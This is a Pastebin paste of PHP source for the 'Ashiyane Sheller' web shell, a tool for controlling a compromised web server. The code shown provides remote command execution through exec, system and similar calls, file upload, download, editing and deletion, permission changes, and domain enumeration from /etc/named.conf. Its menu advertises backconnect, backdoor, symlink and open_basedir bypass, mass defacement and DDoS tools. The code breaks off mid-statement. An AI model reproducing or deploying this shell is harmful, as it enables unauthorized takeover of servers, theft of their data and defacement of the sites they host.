Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
- /*
- __ __ _ _ _ _ _ _ _ _
- | \/ | __ _| |__ __| (_) | | | (_) __| | __| | ___ _ __
- | |\/| |/ _ | _ \ / _` | | | |_| | |/ _` |/ _` |/ _ \ _ \
- | | | | (_| | | | | (_| | |_| _ | | (_| | (_| | __/ | | |
- |_| |_|\__ _|_| |_|\__ _|_(_)_| |_|_|\__ _|\__ _|\___|_| |_| ASHIYANE SHELLER BY MAHDI.HIDDEN
- */
- $auth_pass = ""; // Put your password here.
- @session_start();
- function Login() {
- die("
- <title>Ashiyane Sheller</title>
- <form method=post>
- <label for=pass>Password: </label><input type=password name=pass><input type=submit value='>>'>
- </form>");
- }
- if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
- $_SESSION[$_SERVER['HTTP_HOST']] = true;
- else
- Login();
- //Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
- $db = "";
- ob_start();
- if(!isset($_GET['action']) or $_GET['action']==""){
- header("location: ?action=explorer");
- }
- if(isset($_GET["hiddenshell"])){
- exit;}
- if(ini_get("safe_mode")=="1"){
- $safemode="<font>ON</font>";
- } else{
- $safemode="<font>OFF</font>";
- }
- if(ini_get("disable_functions")==""){
- $disable_functions="<font>NONE</font>";
- } else{
- $disable_functions=ini_get("disable_functions");
- }
- if(!function_exists('posix_getegid'))
- {
- $gid = @getmygid();
- $group = "?";
- } else
- {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- //Start
- $on="<font> ON </font>";
- $of="<font> OFF </font>";
- $none="<font> NONE </font>";
- if(function_exists('curl_version'))
- $curl=$on;
- else
- $curl=$of;
- if(function_exists('mysql_get_client_info'))
- $mysql=$on;
- else
- $mysql=$of;
- if(function_exists('mssql_connect'))
- $mssql=$on;
- else
- $mssql=$of;
- if(function_exists('pg_connect'))
- $pg=$on;
- else
- $pg=$of;
- if(function_exists('oci_connect'))
- $or=$on;
- else
- $or=$of;
- if(@ini_get('open_basedir'))
- $open_b=@ini_get('open_basedir');
- else
- $open_b=$none;
- //End
- function magicboom($text){
- if (!get_magic_quotes_gpc()){
- return $text;
- }
- return stripslashes($text);
- }
- function perms($p) {
- if (($p & 0xC000) == 0xC000)$i = 's';
- elseif (($p & 0xA000) == 0xA000)$i = 'l';
- elseif (($p & 0x8000) == 0x8000)$i = '-';
- elseif (($p & 0x6000) == 0x6000)$i = 'b';
- elseif (($p & 0x4000) == 0x4000)$i = 'd';
- elseif (($p & 0x2000) == 0x2000)$i = 'c';
- elseif (($p & 0x1000) == 0x1000)$i = 'p';
- else $i = 'u';
- $i .= (($p & 0x0100) ? 'r' : '-');
- $i .= (($p & 0x0080) ? 'w' : '-');
- $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
- $i .= (($p & 0x0020) ? 'r' : '-');
- $i .= (($p & 0x0010) ? 'w' : '-');
- $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
- $i .= (($p & 0x0004) ? 'r' : '-');
- $i .= (($p & 0x0002) ? 'w' : '-');
- $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
- return $i;
- }
- function permsColor($f) {
- if (!@is_readable($f))
- return '<font color=#FF0000>' . perms(@fileperms($f)) . '</font>';
- elseif (!@is_writable($f))
- return '<font color=white>' . perms(@fileperms($f)) . '</font>';
- else
- return '<font color=#25ff00>' . perms(@fileperms($f)) . '</font>';
- }
- function size($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f', $s / 1073741824 ). ' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f', $s / 1048576 ) . ' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f', $s / 1024 ) . ' KB';
- else
- return $s . ' B';
- }
- function extension($in) {
- $out = '';
- if (function_exists('exec')) {
- @exec($in,$out);
- $out = @join("\n",$out);
- } elseif (function_exists('passthru')) {
- ob_start();
- @passthru($in);
- $out = ob_get_clean();
- } elseif (function_exists('system')) {
- ob_start();
- @system($in);
- $out = ob_get_clean();
- } elseif (function_exists('shell_exec')) {
- $out = shell_exec($in);
- } elseif (is_resource($f = @popen($in,"r"))) {
- $out = "";
- while(!@feof($f))
- $out .= fread($f,1024);
- pclose($f);
- }
- return $out;
- }
- if (strtolower(substr(PHP_OS,0,3))=="win")
- $sys='win';
- else
- $sys='unix';
- $home_path = @getcwd();
- $path = @getcwd();
- if($sys == 'win')
- {
- $home_path = str_replace("\\", "/", $home_path);
- $path = str_replace("\\", "/", $path);
- }
- if(empty($_GET['dir'])){
- $path=(dirname($_SERVER['SCRIPT_FILENAME']));
- } else{
- $path=(htmlspecialchars($_GET['dir']));
- }
- if($path[strlen($path)-1] != '/' )
- $path .= '/';
- $cwd_links = '';
- $path1 = explode("/", $GLOBALS['path']);
- $n=count($path1);
- for($i=0; $i<$n-1; $i++) {
- $cwd_links .= "<a href='?action=explorer&dir=";
- for($j=0; $j<=$i; $j++)
- $cwd_links .= $path1[$j].'/';
- $cwd_links .= "'>".$path1[$i]."/</a>";
- }
- $drives = "";
- if (class_exists('COM')) {
- foreach(range('C','Z') as $drive) {
- if(is_dir($drive.':\\')){
- $fso = new COM('Scripting.FileSystemObject');
- $D = $fso->Drives;
- $Dr = $fso->GetDrive($drive);
- if ($Dr->IsReady ) {
- $drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ '.$drive.' ]</a> ';
- }
- else {
- $drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ CD-Rom : '.$drive.' ]</a> ';
- }
- }
- }
- }
- if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
- function posix_getpwuid($p) {return false;} }
- if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
- function posix_getgrgid($p) {return false;} }
- ?>
- <!DOCTYPE HTML>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <link href="http://ashiyane.org/aboutus/images/logo2.png" rel="icon" type="image/x-icon"/>
- <title><?php echo $_SERVER['HTTP_HOST']; ?> - Ashiyane Sheller</title>
- <style>
- body
- {
- background:#1d1c1c;
- color:#e3e3e3;
- font-family:Tahoma;
- }
- h1,h2,h3,h4,h5,h6
- {
- margin:0px;
- padding:0px;
- }
- a
- {
- text-decoration: none;
- color:inherit;
- }
- li
- {
- list-style:none;
- }
- ul
- {
- padding:0px ;
- margin:0px auto;
- }
- textarea{
- border:2px solid #CE3F3F;
- }
- #hover tr:hover{
- background-color:#CE3F3F;
- }
- .logo
- {
- background-image:url('http://ashiyane.org/aboutus/images/logo2.png');
- width:182px;
- height:134px;
- float:left;
- }
- .main
- {
- width:90%;
- margin:0px auto;
- padding:0px;
- }
- .logout
- {
- float:right;
- background:#990000;
- color:#FFF;
- background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');
- padding:5px;
- padding-left:20px;
- background-position:2px;
- background-repeat: no-repeat;
- }
- .description
- {
- width: 70%;
- float: left;
- margin-left:20px;
- margin-top:10px;
- }
- .description span
- {
- font-size:12px;
- }
- .description span b
- {
- color:#DD4242;
- }
- .header
- {
- width: 95%;
- margin-left: auto;
- margin-right: auto;
- }
- .header h1
- {
- padding: 0px;
- margin: 0px;
- text-align: center;
- border-bottom: 3px solid #A81F1F;
- }
- .clear
- {
- clear: both;
- }
- .menu
- {
- margin-top:10px;
- }
- .menu ul
- {
- width:95%;
- margin-left:3%;
- }
- .menu ul li:last-child
- {
- border-right:none;
- }
- .menu ul li
- {
- border-top: 3px solid #A81F1F;
- background-color:#ce3f3f;
- text-align:center;
- float:left;
- border-right:3px solid #a81f1f;
- padding:10px 0px;
- width:8%;
- font-size:12px;
- }
- .content-box
- {
- font-size:13px;
- background-color:#2D2D2D;
- margin-top:10px;
- width:94%;
- margin-left:auto;
- margin-right:auto;
- }
- .box-main-box
- {
- padding:10px;
- overflow-x:hidden;
- }
- .content-box table
- {
- text-align: left;
- }
- .content-box table tr th
- {
- color:#BE5757;
- }
- .content-box table tr:nth-child(2n)
- {
- background-color:#464444;
- }
- .box-box
- {
- float:left;
- width:45%;
- margin-top:10px;
- padding:5px;
- }
- .box-box .title
- {
- color:#BE5757;
- border-bottom:2px solid #BE5757;
- padding-bottom:3px;
- float:left;
- margin-bottom: 10px;
- }
- input[type="file"],input[type=text]
- {
- border-radius: 3px;
- padding:2px;
- color: black;
- }
- input[type=submit],input[type=reset]
- {
- background-color: #E44242;
- color: #FFF;
- border: none;
- padding: 5px;
- border-radius: 3px;
- margin-left:5px;
- cursor: pointer;
- }
- input[type=button] {
- background-color: #E44242;
- color: #FFF;
- border: none;
- padding: 5px;
- border-radius: 3px;
- margin-left:5px;
- cursor: pointer;
- }
- .info-file-info li
- {
- background:rgb(152, 134, 109);
- float:left;
- margin-right:10px;
- padding:5px;
- }
- .info-file-info li.active
- {
- background:rgb(163, 95, 95);
- }
- .syms td{
- border:1px solid #A81F1F;
- }
- .syms tr:hover{
- background: #646464;
- }
- textarea{
- padding:10px 10px;
- background-color:#ddd;
- }
- .backdoor li{
- background-color: #CE3F3F;
- text-align: center;
- border: 1px solid #A81F1F;
- padding: 10px 0px;
- font-size: 12px;
- }
- .backdoor a li{
- color:white;
- }
- .backdoor li{
- color:black;
- }
- </style>
- </head>
- <body>
- <div class="main">
- <div class="header">
- <h1>ASHIYANE SHELLER <span style="font-size: 12px; color: #CE3F3F;">By Mahdi.Hidden</span></h1>
- <div class="logo"></div>
- <div class="description">
- <span style=""><b>Server IP : </b> <?php echo $_SERVER['SERVER_ADDR']; ?></span>
- <span style=""><b>Your IP : </b> <?php echo $_SERVER['REMOTE_ADDR']; ?></span><br>
- <span style=""><b>System : </b> <?php echo php_uname(); ?></span><br>
- <span style=""><b>Software : </b> <?php echo getenv("SERVER_SOFTWARE"); ?></span>
- <span style=""><b>User: </b><?php echo get_current_user()." "; ?></span><span>Group: <?php echo $gid ." [ $group ] ";?></span><br />
- <span style=""><b>Safemode : </b><?php echo $safemode; ?></span>
- <span><b>Open_Basedir : </b><?php echo $open_b;?></span><BR />
- <span><b>CURL:</b><?php echo $curl; ?><span><b>MySQL:</b></span><?php echo $mysql; ?><span><b>MsSQL:</b></span><?php echo $mssql; ?><span><b>PostgreSQL:</b></span><?php echo $pg?><span><b>Oracle:</b></span><?php echo $or?></span><br />
- <span><b>Domains:</b></span>
- <?php
- if($GLOBALS['sys']=='unix')
- {
- $d0mains = @file("/etc/named.conf");
- if(!$d0mains)
- {
- echo "<span>CANT READ named.conf</span>";
- }
- else
- {
- $count;
- foreach($d0mains as $d0main)
- {
- if(@ereg("zone",$d0main))
- {
- preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2){
- flush();
- $count++;
- }
- }
- }
- echo "<span>$count Domains</span>";
- }
- }
- else{ echo"<span>CANT READ |Windows|</span>";}
- ?>
- <br />
- <?php
- echo '<tr>
- <td height="12"><span><b>Path:</b></span></td>
- <td colspan="2"><span>'.$cwd_links.' <a href="?action=explorer&dir='.$GLOBALS['home_path'].'"><font color=#DD4242 >| Home Directory |</font></a></span></td>
- </tr>';
- ?><br />
- <span style=""><?php echo $drives; ?></span><br />
- <br />
- </div>
- <div class="logout"><a href="?action=logout">Logout</a></div>
- <div class="clear"></div>
- </div>
- <div class="menu">
- <ul>
- <li id="explorer"><a href="?action=explorer&dir=<?php echo $path ?>">HOME</a></li>
- <li id="terminal"><a href="?action=terminal&dir=<?php echo $path ?>">TERMINAL</a></li>
- <li id="eval"><a href="?action=eval&dir=<?php echo $path ?>">EVAL</a></li>
- <li id="sym"><a href="?action=sym&dir=<?php echo $path ?>">SYMLINKER</a></li>
- <li id="basedir"><a href="?action=basedir&dir=<?php echo $path ?>">OPEN BASEDIR</a></li>
- <li id="sql"><a href="?action=sql&dir=<?php echo $path ?>">SQL</a></li>
- <li id="cgiashiyane"><a href="?action=cgiashiyane&dir=<?php echo $path ?>">CGI-TELNET</a></li>
- <li id="bc"><a href="?action=bc&dir=<?php echo $path ?>">BACKCONNECT</a></li>
- <li id="backdoor"><a href="?action=backdoor&dir=<?php echo $path ?>">BACKDOOR</a></li>
- <li id="othertools"><a href="?action=othertools&dir=<?php echo $path ?>" title="Other Tools:
- Zone-h Mass Deface Poster
- Ddoser
- SQLi Target Finder
- Mass Defacer
- Zipper
- Fake Mail
- PHP To XML
- Bypass Disable Functions
- Hash Cracker
- PHP Info">OTHER TOOLS</a></li>
- <li id="aboutus"><a href="?action=aboutus&dir=">ABOUTUS</a></li>
- <li id="rmshell"><a href="?action=rmshell">REMOVE</a></li>
- </ul>
- </div>
- <div class="clear"></div>
- <div class="content-box">
- <div class="box-main-box">
- <?php
- if(isset($_GET['action'])){
- $action=htmlspecialchars($_GET['action']);
- if($action=="explorer"){
- echo "<style>#explorer{background: #A81F1F}</style>";
- ?>
- <br />
- <div class="explorer">
- <?php
- $files = scandir($path);
- ?>
- <table id="hover">
- <th style="min-width:300px;">Name</th><th style="width:150px;">Size</th><th style="min-width:300px;">Modify</th><th style="width:300px;">Owner/Group<th style="width:150px;">Permission</th><th colspan=4>Actions</th>
- <?php
- $directories = array();
- $files_list = array();
- foreach($files as $entry){
- $entry_link=$path.$entry;
- $entry_link= ($entry_link);
- if(!is_file($entry_link)){
- $directories[] = $entry;
- } else {
- $files_list[] = $entry;
- }
- }
- ?>
- <?php
- foreach($directories as $directory){
- $entry_link=$path.$directory;
- $entry_link= ($entry_link);
- if($directory==".."){
- ?>
- <tr><td style="min-width:300px;"><?php
- $entry_link2=realpath($entry_link);
- $entry_link2=str_replace("\\","/",$entry_link2);
- echo "<a href=\"?action=explorer&dir=$entry_link2\">| $directory |</a></td>";
- ?>
- <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
- <td style="min-width:300px;">
- <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
- </td>
- <td style="width:300px">
- <?php
- $ow = @posix_getpwuid(@fileowner($entry_link));
- $gr = @posix_getgrgid(@filegroup($entry_link));
- echo $ow['name']?$ow['name']:@fileowner($entry_link);
- echo "/";
- echo $gr['name']?$gr['name']:@filegroup($entry_link);
- ?>
- <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Edit Permission"><?php echo permsColor($entry_link); ?></a></td>
- <td><a href="?action=ff&go=rename&file=<?php echo urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down" title="Rename">R</a></td>
- <td><a href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Touch">T</a></td>
- <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
- </tr>
- <?php
- }
- if($directory!="." && $directory!=".."){
- ?>
- <tr><td style="min-width:300px;"><?php
- echo "<a href=\"?action=explorer&dir=$entry_link\">| $directory |</a></td>";
- ?>
- <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
- <td style="min-width:300px;">
- <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
- </td>
- <td style="width:300px">
- <?php
- $ow = @posix_getpwuid(@fileowner($entry_link));
- $gr = @posix_getgrgid(@filegroup($entry_link));
- echo $ow['name']?$ow['name']:@fileowner($entry_link);
- echo "/";
- echo $gr['name']?$gr['name']:@filegroup($entry_link);
- ?>
- <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Edit Permission"><?php echo permsColor($entry_link); ?></a></td>
- <td><a href="?action=ff&go=rename&file=<?php echo urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down" title="Rename">R</a></td>
- <td><a href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Touch">T</a></td>
- <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
- </tr>
- <?php
- }
- }
- ?>
- </td>
- </tr>
- <?php
- foreach($files_list as $file_list){
- $entry_link=$path.$file_list;
- $entry_link= ($entry_link);
- ?><tr><td style="min-width:300px;"><?php
- echo "<a href=\"?action=ff&go=view&file=$entry_link&dir=$path&f=$file_list#down\">$file_list</a></td>"
- ;?>
- <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
- <td style="min-width:300px;">
- <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
- </td>
- <td style="width:300px">
- <?php
- $ow = @posix_getpwuid(@fileowner($entry_link));
- $gr = @posix_getgrgid(@filegroup($entry_link));
- echo $ow['name']?$ow['name']:@fileowner($entry_link);
- echo "/";
- echo $gr['name']?$gr['name']:@filegroup($entry_link);
- ?>
- <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down"><?php echo permsColor($entry_link); ?></a></td>
- <td><a title="Rename" href="?action=ff&go=rename&file=<?php echo urlencode($file_list); ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">R</a></td>
- <td><a title="Touch" href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down">T</a></td>
- <td><a title="Edit" href="?action=ff&go=edit&file=<?php echo $entry_link ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">E</a></td>
- <td><a title="Download" href="?action=ff&dir=<?php echo $path?>&go=download&file=<?php echo $entry_link; ?>">D</a></td>
- <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
- </tr>
- <?php
- }
- ?>
- </table>
- <a name="down"></a>
- <table style="float:left">
- <tr>
- <?php
- if(!is_writable($GLOBALS['path']))
- {
- echo "
- <style>
- .dir {
- background:red;
- }
- </style>
- ";
- } else{
- echo "
- <style>
- .dir{
- background:#e3e3e3;
- }
- </style>
- ";
- }
- ?>
- <hr>
- <div class="box-box">
- <div class="title"><h3>Upload File & Execute(CMD)</h3></div>
- <div class="clear"></div>
- <form action="" enctype="multipart/form-data" method="POST">
- <span>Select File: </span><input type="file" class="dir" name="userfile" style=" width: 238px;" /><input type="hidden" name="path" value="<?php echo $path ?>" /><input type="hidden" value="upload" name="type" /><input type="submit" value="Upload File" />
- </form><br><br>
- <form action="?action=terminal&CMD=shell#down" method="post">
- <span>Terminal : </span>
- <input onMouseOver="this.focus();" id="cmd" class="input dir" type="text" name="cmd" style=" width: 238px;" value="" />
- <input class="inputbutn" type="submit" value="Execute" name="submitcmd" />
- </form>
- </div>
- <div class="box-box">
- <div class="title"><h3>File & Folder Maker</h3></div>
- <div class="clear"></div>
- <form action="" enctype="multipart/form-data" method="POST">
- <span>Make Folder: </span><input type="hidden" value="makefolder" name="type" /><input type="text" class="dir" name="namefolder" /><input type="submit" value="Make Folder" />
- </form>
- <br><br>
- <form action="" enctype="multipart/form-data" method="POST">
- <span>Make File: </span><input type="hidden" value="makefile" name="type" /><input type="text" class="dir" name="namefile" /><input type="submit" value="Make File" />
- </form>
- </div>
- </tr>
- </table>
- <?php
- if(isset($_POST['type']) && $_POST['type']=="upload"){
- if(isset($_FILES['userfile'])){
- $upload_dir=$_POST['path'];
- $upload_file=$upload_dir."/".basename($_FILES['userfile']['name']);
- if(move_uploaded_file($_FILES['userfile']['tmp_name'],$upload_file)){
- echo "ok";
- header("location: ?action=explorer&dir=$path");
- }
- }
- }
- if(isset($_POST['type']) && $_POST['type']=="makefolder"){
- if(isset($_POST['namefolder']) && $_POST['namefolder']!=""){
- $foldername=$path.$_POST['namefolder'];
- if(mkdir($foldername)){
- echo "ok";
- header("location: ?action=explorer&dir=$path");
- } else {
- echo "can't be make folder";
- }
- } else{
- echo "enter folder name";
- }
- }
- if(isset($_POST['type']) && $_POST['type']=="makefile"){
- if(isset($_POST['namefile']) && $_POST['namefile']!=""){
- $fn=$_POST['namefile'];
- $filename=$path.$_POST['namefile'];
- if(!file_exists($filename)){
- if(touch($filename)){
- $fp = fopen($filename, "w");
- if ($fp) {
- fclose($fp);
- header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
- }
- }
- echo "ok";
- } else {
- header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
- }
- } else{
- echo "enter file name";
- }
- }
- ?>
- </div>
- <?php
- }
- if($action=="ff"){
- if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="download" && $_GET['file']!='' ){
- ob_end_clean();
- $_GET['file'] = urldecode($_GET['file']);
- if(is_file($_GET['file']) && is_readable($_GET['file'])) {
- ob_start("ob_gzhandler", 4096);
- header("Content-Disposition: attachment; filename=".basename($_GET['file']));
- if (function_exists("mime_content_type")) {
- $type = mime_content_type($_GET['file']);
- header("Content-Type: " . $type);
- } else {
- header("Content-Type: application/octet-stream");
- }
- $fp = fopen($_GET['file'], "r");
- if($fp) {
- while(!feof($fp))
- echo fread($fp, 1024);
- fclose($fp);
- }
- }exit;
- }
- ob_start();
- function info(){
- global $path;
- echo "<ul class=\"info-file-info\">";
- $f2 = (htmlspecialchars($_GET['f']));
- $file2 = htmlspecialchars($_GET['file']);
- echo "<a href=\"?action=ff&go=rename&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Name: ".htmlspecialchars($_GET['f'])."</li></a>";
- if(!is_dir($file2)){
- echo "<a href=\"?action=ff&go=view&file=$file2&dir=$path&f=$f2#down\"><li class='active'>View: ".htmlspecialchars($_GET['f'])."</li></a>";
- echo "<a href=\"?action=ff&go=edit&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Edit: ".htmlspecialchars($_GET['f'])."</li></a>";
- }
- echo "<a href=\"?action=ff&go=touch&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Tuoch: ".@date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $file2))."</li></a>";
- echo "<li>Size: ".(is_file($_GET['file'])?size(filesize($_GET['file'])):'-')."</li>";
- echo "<a href=\"?action=ff&go=perm&file=$file2&dir=$path&f=$f2#down\"><li class='active'>Permissions: ".permsColor($_GET['file'])."</li></a>";
- $ow = @posix_getpwuid(@fileowner($_GET['file']));
- $gr = @posix_getgrgid(@filegroup($_GET['file']));
- echo "<li>Owner/Group: ";
- echo $ow['name']?$ow['name']:@fileowner($_GET['file']);
- echo "/";
- echo $gr['name']?$gr['name']:@filegroup($_GET['file']);
- echo "</li>";
- echo "</ul>";
- echo "<div class=\"clear\"></div>";
- }
- //Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
- ?>
- <div style="text-align:left">
- <?php
- info();
- ?>
- <?php
- if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="rename" ){
- $f3 = htmlspecialchars($_GET['f']);
- $f4 = htmlspecialchars($_GET['file']);
- if(isset($_POST['name'])){
- $nname=$_GET['dir'].$_POST['name'];
- $nn=$_POST['name'];
- $oname=$_GET['dir'].$_POST['file'];
- if(@rename($oname,$nname)){
- header("location: ?action=ff&go=rename&dir=$path&file=$nname&f=$nn");
- } else {
- echo "can't rename";
- }
- }
- ?>
- <a name="down"></a><br><span>Rename File:</span><form action="?action=ff&go=rename&dir=<?php echo htmlspecialchars($path)?>&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']);?>#down" method="post"><input type=text name=name value="<?php echo htmlspecialchars($_GET['f']);?>"><input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['f']);?>"><input type=submit value="Rename"></form>
- <?php
- }
- if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="view" && $_GET['file']!="" ){
- echo '<a name="down"></a><br><span>View File:</span><pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;background:whitesmoke;">';
- $fp = @fopen(highlight_file($_GET['file'],FALSE), 'r');
- if($fp) {
- while( !@feof($fp) )
- echo htmlspecialchars(@fread($fp, 1024));
- @fclose($fp);
- }
- echo '</pre>';
- }
- if(isset($_GET['go']) && isset($_GET['f']) && $_GET['go']=="delete" && $_GET['f']!="" ){
- function deleteDir($path) {
- $path = (substr($path,-1)=='/') ? $path:$path.'/';
- $dh = opendir($path);
- while ( ($item = readdir($dh) ) !== false) {
- $item = $path.$item;
- if ( (basename($item) == "..") || (basename($item) == ".") )
- continue;
- $type = filetype($item);
- if ($type == "dir")
- deleteDir($item);
- else
- @unlink($item);
- }
- closedir($dh);
- @rmdir($path);
- }
- if(is_dir(@$_GET['f'])){
- deleteDir(@$_GET['f']);
- header("location: ?action=explorer&dir=$path");
- } else {
- @unlink(@$_GET['f']);
- header("location: ?action=explorer&dir=$path");
- }
- }
- if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="touch" && $_GET['file']!="" ){
- ?>
- <a name=\"down\"></a><br><span>Touch: </span> <form action="?action=ff&go=ttouch&dir=<?php echo htmlspecialchars($path) ?>&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']);?>#down" method="post">
- <input type="hidden" name="f" value="<?php echo htmlspecialchars($_GET['file']);?>" /><input type="text" name="ttouch" value="<?php echo date("Y-m-d H:i:s", @filemtime(htmlspecialchars($_GET['file']))); ?>" /><input type="submit" value="Touch" />
- </form>
- <?php
- }
- if(isset($_GET['go']) && isset($_POST['ttouch']) && $_GET['go']=="ttouch" && $_POST['ttouch']!="" ){
- echo "<a name=\"down\"></a><hr><br>";
- $f=$_POST['f'];
- $f2=$_GET['f'];
- $time = strtotime($_POST['ttouch']);
- if($time) {
- if(!touch($_POST['f'],$time,$time))
- echo 'Fail!';
- else
- echo 'Touched!';header("location: ?action=ff&go=touch&dir=$path&file=$f&f=$f2");
- }
- }
- if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="perm" && $_GET['file']!="" ){
- ?>
- <a name=\"down\"></a><br><span>Change Modify: </span> <form action="?action=ff&go=chmod&file=<?php echo htmlspecialchars($_GET['file']);?>&f=<?php echo htmlspecialchars($_GET['f']); ?>&dir=<?php echo htmlspecialchars($path) ?>" method="post">
- <input type="hidden" name="f" value="<?php echo htmlspecialchars($_GET['file']);?>" /><input type="hidden" name="f2" value="<?php echo htmlspecialchars($_GET['f']);?>" /><input type="text" name="perm" value="<?php echo substr(sprintf('%o', fileperms(htmlspecialchars($_GET['file']))),-4);?>" /><input type="submit" value="Change Prem" />
- </form>
- <?php
- }
- if(isset($_GET['go']) && isset($_POST['f']) && $_GET['go']=="chmod" && $_POST['f']!="" ){
- $f=$_POST['f'];
- $f2=$_POST['f2'];
- if(!empty($_POST['perm']) ) {
- $perms = 0;
- for($i=strlen($_POST['perm'])-1;$i>=0;--$i)
- $perms += (int)$_POST['perm'][$i]*pow(8, (strlen($_POST['perm'])-$i-1));
- if(!@chmod($f, $perms))
- echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font>';
- }
- echo '<font color="#FFFFFF"><b>OK !</b></font>';
- header("location: ?action=ff&go=perm&dir=$path&file=$f&f=$f2");
- }
- if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="edit" && $_GET['file']!="" ){
- echo "<a name=\"down\"></a>";
- $f=htmlspecialchars($_
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement